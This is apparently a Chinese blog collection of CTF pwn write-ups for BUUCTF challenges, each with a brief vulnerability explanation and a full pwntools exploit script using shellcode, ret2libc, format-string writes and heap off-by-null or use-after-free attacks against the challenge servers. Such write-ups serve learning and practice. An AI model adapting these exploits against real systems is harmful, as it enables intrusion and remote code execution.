buu的前面很多Pwn题笔者都记录在了https://blog.csdn.net/zzq487782568?type=blog并在持续更新
这里记录一些buu后面一些有意思的题目
buuctf之pwn题(持续更新) 鹏城杯_2018_note 查看保护
写汇编题目,漏洞点出在了下面的红框框里面
id有10个大小而在下面read_input这里可以输入0xF个,可以将index给覆盖掉,我们控制了index这个值之后可以找上面的got表对其进行修改,因为可以执行shellcode,所以我们可以控制got为一个堆,在这个堆里面布置shellcode利用jmp这个跳转再跳转到其他的堆中继续持续shellcode(此题限制每次的写到 heap 上的长度小于 13 ),然后调用这个got就可以getshell了。
解释一下jmp $+0x16吧。表示当前这条指令要向前跳转到距离这条指令0x16个字节的地方
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) file_name = './z1r0' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) debug = 1 if debug: r = remote('node4.buuoj.cn' , 27746 ) else : r = process(file_name) elf = ELF(file_name) def dbg (): gdb.attach(r) def add (index, size, content ): r.sendline('1' ) sleep(0.1 ) r.sendline(str (index)) sleep(0.1 ) r.sendline(size) sleep(0.1 ) r.sendline(content) p1 = asm(''' mov rsi, 0x0068732f6e69622f jmp $+0x16 ''' )p2 = asm(''' push rsi mov rdi, rsp jmp $+0x1c ''' )p3 = asm(''' xor rax, rax mov al, 0x3b jmp $+0x1b ''' )p4 = asm(''' xor rsi, rsi xor rdx, rdx syscall ''' )add(0 , b'13' .ljust(0xa , b'\x00' ) + p32(0xFFFFFFF8 ), p1) add(1 , b'13' , p2) add(2 , b'13' , p3) add(3 , b'13' , p4) r.sendline('5' ) r.interactive()
鹏城杯_2018_overint 查看保护
这一题其实不难,需要仔细的看一下
有两个check,先要过check1, 也就是最后的值要为35,写个脚本来爆破一下就可以了
1 2 3 4 5 6 7 8 9 10 11 12 def check1 (): for i in range (257 ): for j in range (257 ): for k in range (257 ): for l in range (257 ): v3 = 0 v3 = ((i >> 4 ) + 4 * v3) ^ (i << 10 ) v3 = ((j >> 4 ) + 4 * v3) ^ (j << 10 ) v3 = ((k >> 4 ) + 4 * v3) ^ (k << 10 ) v3 = ((l >> 4 ) + 4 * v3) ^ (l << 10 ) if v3 == 35 : li('[+] %d, %d, %d, %d' % (i, j, k, l))
check2的话需要让他为543372146,直接上543372146, 0, 0, 0就可以了
任意地址写,所以很好利用,首先使用ret2libc泄露出libc。拿到libc之后再次ret2onegadget去运行one_gadget即可getshell。需要注意的地方就是写入地址的时候用循环来执行的话加个p8就可以了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) file_name = './z1r0' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) debug = 1 if debug: r = remote('node4.buuoj.cn' , 27286 ) else : r = process(file_name) elf = ELF(file_name) def dbg (): gdb.attach(r) def check1 (): for i in range (257 ): for j in range (257 ): for k in range (257 ): for l in range (257 ): v3 = 0 v3 = ((i >> 4 ) + 4 * v3) ^ (i << 10 ) v3 = ((j >> 4 ) + 4 * v3) ^ (j << 10 ) v3 = ((k >> 4 ) + 4 * v3) ^ (k << 10 ) v3 = ((l >> 4 ) + 4 * v3) ^ (l << 10 ) if v3 == 35 : li('[+] %d, %d, %d, %d' % (i, j, k, l)) r.sendafter('Please set arrary number:' , chr (4 ) + chr (27 ) + chr (51 ) + chr (124 )) r.sendafter('How many numbers do you have?\n' , p32(5 )) r.sendafter(' is: \n' , p32(543372146 )) r.sendafter(' is: \n' , p32(0 )) r.sendafter(' is: \n' , p32(0 )) r.sendafter(' is: \n' , p32(0 )) r.sendafter(' is: \n' , p32(0 )) puts_got = elf.got['puts' ] puts_plt = elf.plt['puts' ] main_addr = 0x40087F pop_rdi_ret = 0x0000000000400b13 p1 = p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr) r.sendafter('How many positions you want to modify?\n' , p32(len (p1))) for i in range (0 , 32 ): r.sendafter('Which position you want to modify?\n' , p32(0x38 + i)) r.sendafter('What content you want to write in?\n' , p8(p1[i])) puts_addr = u64(r.recvuntil('\x7f' )[-6 :].ljust(8 , b'\x00' )) li('[+] puts_addr = ' + hex (puts_addr)) libc = ELF('./2.27/libc-2.27.so' ) libc_base = puts_addr - libc.sym['puts' ] one = [0x4f2c5 , 0x4f322 , 0x10a38c ] one_gadget = one[0 ] + libc_base system_addr = libc_base + libc.sym['system' ] bin_sh = libc_base + libc.search(b'/bin/sh' ).__next__() r.sendafter('Please set arrary number:' , chr (4 ) + chr (27 ) + chr (51 ) + chr (124 )) r.sendafter('How many numbers do you have?\n' , p32(5 )) r.sendafter(' is: \n' , p32(543372146 )) r.sendafter(' is: \n' , p32(0 )) r.sendafter(' is: \n' , p32(0 )) r.sendafter(' is: \n' , p32(0 )) r.sendafter(' is: \n' , p32(0 )) p2 = p64(one_gadget) + p64(0 ) * 3 r.sendafter('How many positions you want to modify?\n' , p32(len (p2))) for i in range (0 , len (p2)): r.sendafter('Which position you want to modify?\n' , p32(0x38 + i)) r.sendafter('What content you want to write in?\n' , p8(p2[i])) r.interactive()
鹏城杯_2018_easycalc 查看保护
这个题目并不难,就是add里fd不好改这里有点恶心。。。
没有show函数那就打stdout,2.27下的off-by-null,堆块重叠,打出unsortedbin,改fd为stdout申请过去。
申请过去之后改flags位和write_base改完主可以输出libc了。接着就是再次利用堆重叠改fd,注意这里有点坑,因为fd这一块是calc功能,直接改fd不好改,所以笔者这里拉低了地址然后直接改size形成了一个堆重叠再改fd的(可能有点麻烦
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) file_name = './z1r0' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) debug = 1 if debug: r = remote('node4.buuoj.cn' , 28313 ) else : r = process(file_name) elf = ELF(file_name) def dbg (): gdb.attach(r) menu = 'input>\n' def add (idx, size, calc, msg ): r.sendlineafter(menu, b'1' ) r.sendlineafter(b"input index\n" , str (idx).encode()) r.sendlineafter(b"input size\n" , str (size).encode()) r.sendlineafter(b"please input number a and b\n" , f'- {calc} ' .encode()) r.sendafter(b"input string\n" , msg) def edit (index, b ): r.sendlineafter(menu, '3' ) r.sendlineafter('input index' , str (index)) r.sendlineafter('please input number a and b' , b'-' ) r.sendline(str (b)) def delete (index ): r.sendlineafter(menu, '4' ) r.sendlineafter('input index' , str (index)) add(0 , 0x410 , 0 , 'aaaa' ) add(1 , 0x28 , 0 , 'bbbb' ) add(2 , 0x4f8 , 0 , 'ccccc' ) add(3 , 0x28 , 0 , 'dddd' ) delete(0 ) delete(1 ) p1 = b'a' * 0x18 + p64(0x450 ) add(1 , 0x28 , 0 , p1) delete(1 ) delete(2 ) add(0 , 0x410 , 0 , 'aaaa' ) add(4 , 0x18 , 0 , 'bbb' ) libc = ELF('./2.27/libc-2.27.so' ) edit(4 , libc.sym['_IO_2_1_stdout_' ] - 0x3ec0d0 ) add(5 , 0x28 , 0 , 'aaaa' ) add(6 , 0x28 , -0x1000 , p64(0 ) * 3 + p8(0x58 )) _IO_file_jumps = u64(r.recvuntil('\x7f' )[-6 :].ljust(8 , b'\x00' )) li('[+] _IO_file_jumps = ' + hex (_IO_file_jumps)) libc_base = _IO_file_jumps - libc.sym['_IO_file_jumps' ] free_hook = libc_base + libc.sym['__free_hook' ] li('[+] free_hook = ' + hex (free_hook)) one = [0x4f2c5 , 0x4f322 , 0x10a38c ] one_gadget = libc_base + one[1 ] add(7 , 0x40 , 0 , 'aaaa' ) delete(7 ) delete(0 ) add(0 , 0x410 , 0 , b'a' * 0x400 + p64(0x21 )) delete(4 ) delete(5 ) add(4 , 0x18 , -0x10 , 'aaaa' ) add(5 , 0x18 , 0 , 'aaaa' ) add(8 , 0x18 , 0 , p64(0x71 )) delete(5 ) add(5 , 0x60 , 0 , p64(0 ) + p64(0 ) + p64(0x51 ) + p64(free_hook - 8 )) delete(0 ) add(0 , 0x40 , 0 , 'aaa' ) delete(1 ) add(1 , 0x40 , 0 , p64(one_gadget)) delete(1 ) r.interactive()
BSidesCF_2019Slowfire 查看保护
看保护估计就是写shellcode了。
一开始真的是没找到什么漏洞,然后跟进了write_string和read_line_safe之后发现read_line_safe出了问题
第一次读的时候是buf_size - 1,填满之后total是buf_size - 1,所以可以第二次do while,既然可以第二次do while的话是不是就可以溢出了。ret2shellcode即可(orw),将shellcode放到name中,然后将ret给覆盖成name即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) file_name = './z1r0' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) debug = 1 if debug: r = remote('node4.buuoj.cn' , 27571 ) else : r = process(file_name) elf = ELF(file_name) def dbg (): gdb.attach(r) shellcode = ''' mov edi, 0x4040c0 mov esi, 0 mov eax, 2 syscall mov rdi, rax mov esi, 0x404180 mov edx, 0x100 mov eax, 0x401080 call rax mov edi, DWORD PTR [rsp-0x444] mov esi, 0x404180 mov edx, 0x100 mov eax, 0x401040 call rax ''' li(str (asm(shellcode))) r.send('flag' + '\x00' ) p1 = asm(shellcode) r.sendline(p1) r.sendlineafter('Enter message> ' , b'a' * (0x430 + 8 ) + p64(0x4040c5 )) r.interactive()
suctf_2018_easy_overflow_file_structure 查看保护
拿到题目以为是httpd类的pwn题结果是我想多了
让我们输入很多数据然后传到su_server中。
fd->_flags = 0xdeadbeef
满足这个条件会跳进secret中,而secret是个后门函数
假如researchfield可以进行溢出的话是不是再溢出两个字符就可以控制fd了,那漏洞点在哪里呢,笔者找了一圈没有什么进展,想了一下是和host username researchfield有关而这三个都有个共同的函数lookForHeader,跟进看一下
当这个数据有多个像host这种字段的时候,就会继续执行这个for循环可以继续再次往后填充0x7f个数据,所以我们可以先将0xdeadbeef放入host里,通过researchfield来溢出到fd->_flags
,将_flags
填成host的0xdeadbeef这里的地址,这样的话fd->_flags->0xdeadbeef
就可以getshell了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) file_name = './z1r0' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) debug = 1 if debug: r = remote('node4.buuoj.cn' , 29171 ) else : r = process(file_name) elf = ELF(file_name) def dbg (): gdb.attach(r) p1 = b'GET / HTTP/1.1#' p1 += b'Host:' + p64(0xdeadbeef ) + b'#' p1 += b'Username:z1r0#' p1 += b'ResearchField:' + b'c' * 0x7e + b'#' p1 += b'ResearchField:' + b'aa' + p64(0x602220 ) + b'#' r.sendline(p1) r.interactive()
csaw2018_shell_code 查看保护
一个比较简单的写shellcode题目
可以看到漏洞点goodbye这个函数里,一个栈溢出,前面会让我们输入两次数据,那我们就可以将shellcode写入node1和node2,再通过goodbye里面面的栈溢出跳转到shellcode处执行,程序还贴心的给了我们node2的地址,所以我们可以通过node2来算出node1。
shellcode我们可以这样构造
1 2 3 4 5 mov rdi, rsp push 0x3b pop rax xor esi, esi syscall
将rsp的值传到rdi中,所以我们可以在rsp中放入bin/sh,并将rax设置成0x3b也就是execve的系统调用号。然后将rsi rdx给清0,最后我们可以运行execve(“/bin/sh”, 0, 0);因为shellcode要保持在15以下所以push pop很好使用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) file_name = './z1r0' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) debug = 1 if debug: r = remote('node4.buuoj.cn' , 29758 ) else : r = process(file_name) elf = ELF(file_name) def dbg (): gdb.attach(r) shellcode1 = ''' mov rdi, rsp push 0x3b pop rax xor esi, esi syscall ''' r.recvuntil('(15 bytes) Text for node 1:' ) r.sendline(asm(shellcode1)) r.recvuntil('(15 bytes) Text for node 2:' ) r.sendline('aaaaa' ) r.recvuntil('0x' ) node2_addr = int (r.recv(12 ), 16 ) + 0x8 li('[+] node2_addr = ' + hex (node2_addr)) node1_addr = node2_addr + 0x20 li('[+] node1_addr = ' + hex (node1_addr)) p1 = b'a' * (3 + 8 ) + p64(node1_addr) + b'/bin/sh\x00' r.sendline(p1) r.interactive()
actf_2020_scp_foundation_secret 查看保护
怎么说呢,这个题也太简单了。。
uaf的漏洞撞在了脸上,在申请堆的时候程序会专门有一个0x21大小的堆用来存放name和des的指针。程序在init_system这个函数内将flag存入到了一个bss段里。
所以漏洞利用思路很快就可以想好,利用uaf这个漏洞,将name指针给改成flag的地址即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) file_name = './z1r0' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) debug = 1 if debug: r = remote('node4.buuoj.cn' , 25815 ) else : r = process(file_name) elf = ELF(file_name) def dbg (): gdb.attach(r) menu = '> Now please tell me what you want to do :' def add (name_size, name, des_size, des ): r.sendlineafter(menu, '2' ) r.sendlineafter("> SCP name's length : " , str (name_size)) r.sendafter('> SCP name : ' , name) r.sendlineafter("> SCP description's length : " , str (des_size)) r.sendafter("> SCP description : " , des) def delete (index ): r.sendlineafter(menu, '4' ) r.sendlineafter('> SCP project ID : ' , str (index)) def show (index ): r.sendlineafter(menu, '5' ) r.sendlineafter('> SCP project ID : ' , str (index)) r.sendlineafter('> Username:' , 'aa' ) r.sendlineafter('> Password:' , 'For_the_glory_of_Brunhild' ) flag_addr = 0x6030C8 add(0x20 , 'aaaa' , 0x30 , 'bbbb' ) add(0x20 , 'aaaa' , 0x30 , 'bbbb' ) delete(0 ) delete(1 ) add(0x18 , p64(flag_addr), 0x50 , 'aaaa' ) show(0 ) r.interactive()
cscctf_2019_qual_babyheap 查看保护
简单题目
2.27下的off-by-null。利用off-by-null将unsortedbin向前合并,形成overlapping就可以了。这里就不详细的说了,因为比较简单
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) file_name = './z1r0' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) debug = 1 if debug: r = remote('node4.buuoj.cn' , 26243 ) else : r = process(file_name) elf = ELF(file_name) def dbg (): gdb.attach(r) menu = '>> ' def add (index, size, content ): r.sendlineafter(menu, '1' ) r.sendlineafter('Index: ' , str (index)) r.sendlineafter('Size: ' , str (size)) r.sendafter('Content: ' , content) def delete (index ): r.sendlineafter(menu, '2' ) r.sendlineafter('Index: ' , str (index)) def show (index ): r.sendlineafter(menu, '3' ) r.sendlineafter('Index: ' , str (index)) for i in range (7 ): add(i, 0xf8 , 'aaaaa' ) add(7 , 0xf8 , 'aaaa' ) add(8 , 0x18 , 'bbbb' ) add(9 , 0xf8 , 'aaaa' ) add(10 , 0x10 , '/bin/sh' ) for i in range (7 ): delete(i) delete(7 ) delete(8 ) p1 = b'a' * 0x10 + p64(0x120 ) add(8 , len (p1), p1) delete(9 ) for i in range (7 ): add(i, 0xf8 , 'aaaa' ) add(7 , 0xf8 , 'aaa' ) show(8 ) malloc_hook = u64(r.recvuntil('\x7f' )[-6 :].ljust(8 , b'\x00' )) - 96 - 0x10 li('[+] malloc_hook = ' + hex (malloc_hook)) libc = ELF('./2.27/libc-2.27.so' ) libc_base = malloc_hook - libc.sym['__malloc_hook' ] one = [0x4f2c5 , 0x4f322 , 0x10a38c ] one_gadget = one[0 ] + libc_base free_hook = libc_base + libc.sym['__free_hook' ] li('[+] free_hook = ' + hex (free_hook)) system_addr = libc.sym['system' ] + libc_base add(9 , 0x18 , 'aaaa' ) delete(8 ) delete(9 ) p2 = p64(free_hook) add(8 , len (p2), p2) add(9 , 0x18 , 'aaa' ) add(11 , 0x18 , p64(system_addr)) delete(10 ) r.interactive()
cscctf_2019_final_babyprintf 查看保护
还是简单题
格式化漏洞,改不了got和ret,但是有一个exit(0),这个程序贴心的给了三次机会,第一次泄露libc。第二次改exit_hook为one_gadget。第三次随便输入执行exit就可以了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) file_name = './z1r0' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) debug = 1 if debug: r = remote('node4.buuoj.cn' , 26380 ) else : r = process(file_name) elf = ELF(file_name) def dbg (): gdb.attach(r) p1 = b'%43$p' r.sendline(p1) libc_start_main = int (r.recv(14 ), 16 ) - 231 li('[+] libc_start_main = ' + hex (libc_start_main)) libc = ELF('./2.27/libc-2.27.so' ) libc_base = libc_start_main - libc.sym['__libc_start_main' ] one = [0x4f2c5 , 0x4f322 , 0x10a38c ] one_gadget = one[1 ] + libc_base li('[+] one_gadget = ' + hex (one_gadget)) exit_hook = libc_base + 0x619060 + 3848 li('[+] exit_hook = ' + hex (exit_hook)) p1 = fmtstr_payload(8 , {exit_hook: one_gadget}) r.sendline(p1) r.sendline('aaaa' ) r.interactive()
wdb_2018_4th_pwn2 查看保护
第一个功能点可以泄露出canary。但需要配合第二个使用
第二个功能可以不断调用本函数,这样子的话旧的canary还在栈上,配合第一个功能就可以输出canary了
第三个功能可以输出libc(%a)
第四个功能也就是0911,我们可以借助这个函数进行栈溢出攻击。这个功能有个坑点,close(0),笔者一开始构造了one_gadget,发现会失败,所以在构造rop的时候需要system(“cat flag”);直接读flag,另外想要使用这个函数还需要爆破一下urandom,选了0这个值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 from pwn import *context(arch='amd64' , os='linux' ) file_name = './z1r0' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) debug = 1 if debug: r = remote('node4.buuoj.cn' , 27125 ) else : r = process(file_name) elf = ELF(file_name) def dbg (): gdb.attach(r) menu = 'Guess your option:' def one (content ): r.sendlineafter(menu, '1' ) r.sendafter('once..' , content) def two (content, n ): r.sendlineafter(menu, '2' ) for i in range (n - 1 ): r.sendafter('bored...' , 'a' ) r.sendlineafter('Satisfied?y/n' , 'n' ) r.sendafter('bored...' , content) r.sendlineafter('Satisfied?y/n' , 'y' ) def three (content ): r.sendlineafter(menu, '3' ) r.sendafter('think?)' , content) def four (content ): r.sendlineafter(menu, '9011' ) r.sendafter('code:' , content) two('a' , 10 ) one('a' * 0xa9 ) r.recvuntil('a' * 0xa9 ) canary = u64(r.recv(7 ).rjust(8 , b'\x00' )) li('[+] canary = ' + hex (canary)) three('%a' ) r.recvuntil('0x0.0' ) addr = int (r.recv(12 ), 16 ) - 131 li('[+] addr = ' + hex (addr)) libc = ELF('./libc-2.23.so' ) libc_base = addr - libc.sym['_IO_2_1_stdout_' ] one = [0x45226 , 0x4527a , 0xf03a4 , 0xf1247 ] one_gadget = one[1 ] + libc_base system_addr = libc_base + libc.sym['system' ] pop_rdi = 0x0000000000400c53 p1 = b'cat flag' + p64(canary) + p64(0 ) + p64(pop_rdi) + p64(0x602080 ) + p64(system_addr) two(p1, 0 ) try : for i in range (0x1000 ): four('\x00' * 8 ) ll('[-]' + str (i)) except : r.close() r.interactive()
greeting_mna_2016 查看保护
简单题
格式化字符串漏洞只有一次,所以我们可以改fini段为main,程序里面还有system,所以可以将printf或者strlen改为system,最后传入/bin/sh即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 from pwn import *context(arch='i386' , os='linux' , log_level='debug' ) file_name = './z1r0' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) debug = 1 if debug: r = remote('node4.buuoj.cn' , 29425 ) else : r = process(file_name) elf = ELF(file_name) def dbg (): gdb.attach(r) fini = 0x8049934 system_plt = 0x08048490 strlen_got = 0x08049A54 main_addr = 0x080485ED addr = [0x804 , 0x8490 , 0x85ED ] p1 = b'aa' p1 += p32(strlen_got + 2 ) p1 += p32(strlen_got) p1 += p32(fini) one1 = addr[0 ] - 0x20 p1 += b'%' + bytes (str (one1), encoding='utf-8' ) + b'c%12$hn' one2 = addr[1 ] - addr[0 ] p1 += b'%' + bytes (str (one2), encoding='utf-8' ) + b'c%13$hn' one3 = addr[2 ] - addr[1 ] p1 += b'%' + bytes (str (one3), encoding='utf-8' ) + b'c%14$hn' r.sendlineafter('Please tell me your name... ' , p1) r.sendlineafter('Please tell me your name... ' , '/bin/sh' ) r.interactive()
web_of_sci_volga_2016 查看保护
第一个红色框和printf格式化漏洞可以达成canary和stack_addr泄露。然后第二个gets可以达成ret2shellcode。
0xa0 - 0x18
= 0x88。shellcode的地址为46这里的偏移-192
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) file_name = './z1r0' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) debug = 1 if debug: r = remote('node4.buuoj.cn' , 26205 ) else : r = process(file_name) elf = ELF(file_name) def dbg (): gdb.attach(r) p1 = b'%43$p.%46$p' r.sendlineafter('Tell me your name first' , p1) r.recvuntil('0x' ) canary = int (r.recv(16 ), 16 ) li('[+] canary = ' + hex (canary)) r.recvuntil('0x' ) stack_addr = int (r.recv(12 ), 16 ) li('[+] stack_addr = ' + hex (stack_addr)) for i in range (9 ): r.sendline(str (i)) r.recv() shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" p1 = shellcode + (0x88 - len (shellcode)) * b'A' + p64(canary) + 3 * p64(0x0 ) + p64(stack_addr - 192 ) r.sendline(p1) r.interactive()
pwnable_free_spirit 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 #include <stdio.h> #include <stdlib.h> #include <stdbool.h> #include <stdint.h> void setup () { } void win () { system("cat /flag" ); } int main () { char local_50[0x30 ]; void *local_58; void *local_60; setup(); local_58 = malloc (0x40 ); while (true ) { printf ("> " ); read(stdin , local_50, 0x30 ); int option = atoi(local_50); switch (option) { case 0 : goto cleanup; case 1 : read(stdin , local_58, 0x20 ); break ; case 2 : printf ("%p\n" , &local_58); break ; case 3 : local_60 = *(unsigned long *)(local_58 + 0 ); local_58 = *(unsigned long *)(local_58 + 8 ); break ; default : printf ("Invalid\n" ); } } cleanup: free (local_58); return 0 ; }
这个程序的代码是笔者在pwnable.xyz那里看到的,还有一个后门,漏洞点在case3这里,可以看到60 = 58,58= 58 + 8其实就是fd和bk。58=bk。
我们有了后门是不是可以将ret地址给覆盖成后门,然后程序程序退出是不是就可以getshell了?
程序一开始给了stack_addr,ret的地址与stack_addr偏移为0x58。利用case 1,将ret_addr布置到bk上,触发case 3:这个时候stack_addr这里的地址就变成了ret_addr。再次利用这种手法将ret_addr变成后门地址,将stack_addr这里的值变成stack_addr + 0x10。为什么要变成+ 0x10?因为最后程序会free(58),所以我们在+0x10这里布置一个正常的堆块使得最后程序可以正确释放
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) file_name = './z1r0' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) debug = 1 if debug: r = remote('node4.buuoj.cn' , 28174 ) else : r = process(file_name) elf = ELF(file_name) def dbg (): gdb.attach(r) menu = '> ' def read_in (content ): r.sendlineafter(menu, '1' ) r.send(content) def show (): r.sendlineafter(menu, '2' ) def ppp (): r.sendlineafter(menu, '3' ) shell = 0x400A3E show() r.recvuntil('0x' ) stack_addr = int (r.recv(12 ), 16 ) li('[+] stck_addr = ' + hex (stack_addr)) ret_addr = stack_addr + 0x58 li('[+] ret_addr = ' + hex (ret_addr)) read_in(p64(ret_addr) * 2 ) ppp() read_in(p64(shell) + p64(stack_addr + 0x10 )) ppp() p1 = p64(0x21 ) p1 += p64(0 ) * 3 p1 += p64(0x21 ) r.sendlineafter(menu, p1) r.interactive()
pwnable_loveletter 这个题目令人意想不到的是连上去就可以执行命令。。
用预期做一下
protect里面将#&这些东西给换成了心而心这个图案有是3字节,所以这里有一个溢出。但是有canary所以rop很困难,再回到主函数看到可以溢出到prolog_len,最后还有一个system而system里面的是三段拼起来的,所以我们可以利用溢出控制prolog_len,将prolog_len改成1,这样的话第一个就是e,有一个命令,env sh -C sh
可以拿到shell
最后的payload为p1 = 'nv sh -c bash ' + 'A' * (0x114 - 0x14 - 14 - 2 - 1) + '#\x01'
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) file_name = './z1r0' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) debug = 0 if debug: r = remote() else : r = process(file_name) elf = ELF(file_name) def dbg (): gdb.attach(r) p1 = 'nv sh -c bash ' + 'A' * (0x114 - 0x14 - 14 - 2 - 1 ) + '#\x01' r.sendline(p1) r.interactive()
ciscn_2019_s_2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 __int64 Edit () { unsigned int v1; Data *v2; void *v3; printf ("Index:" ); v1 = read_int(); if ( v1 >= 0xA ) { puts ("You want to steal the flag?" ); exit (0 ); } if ( heap_ptr[v1] ) { v2 = (Data *)heap_ptr[v1]; if ( v2->state ) { --v2->state; v3 = realloc ((void *)v2->content, v2->size); if ( v3 ) { v2->content = (__int64)v3; printf ("New content:" ); secure_read((void *)v2->content, v2->size); puts ("OK!" ); } else { puts ("Can not edit this flag!" ); } return 0LL ; } else { puts ("Dead!" ); return 0LL ; } } else { puts ("None flag!" ); return 0LL ; } }
在edit里有一个realloc,其他函数都是正常的,如果size为0,则把realloc看成一个free,此时出现uaf漏洞
利用uaf,劫持结构体修改content所在的指针,指向需要的堆地址从而泄露出堆地址和libc,最后再利用uaf漏洞,写入hook为ogg即可
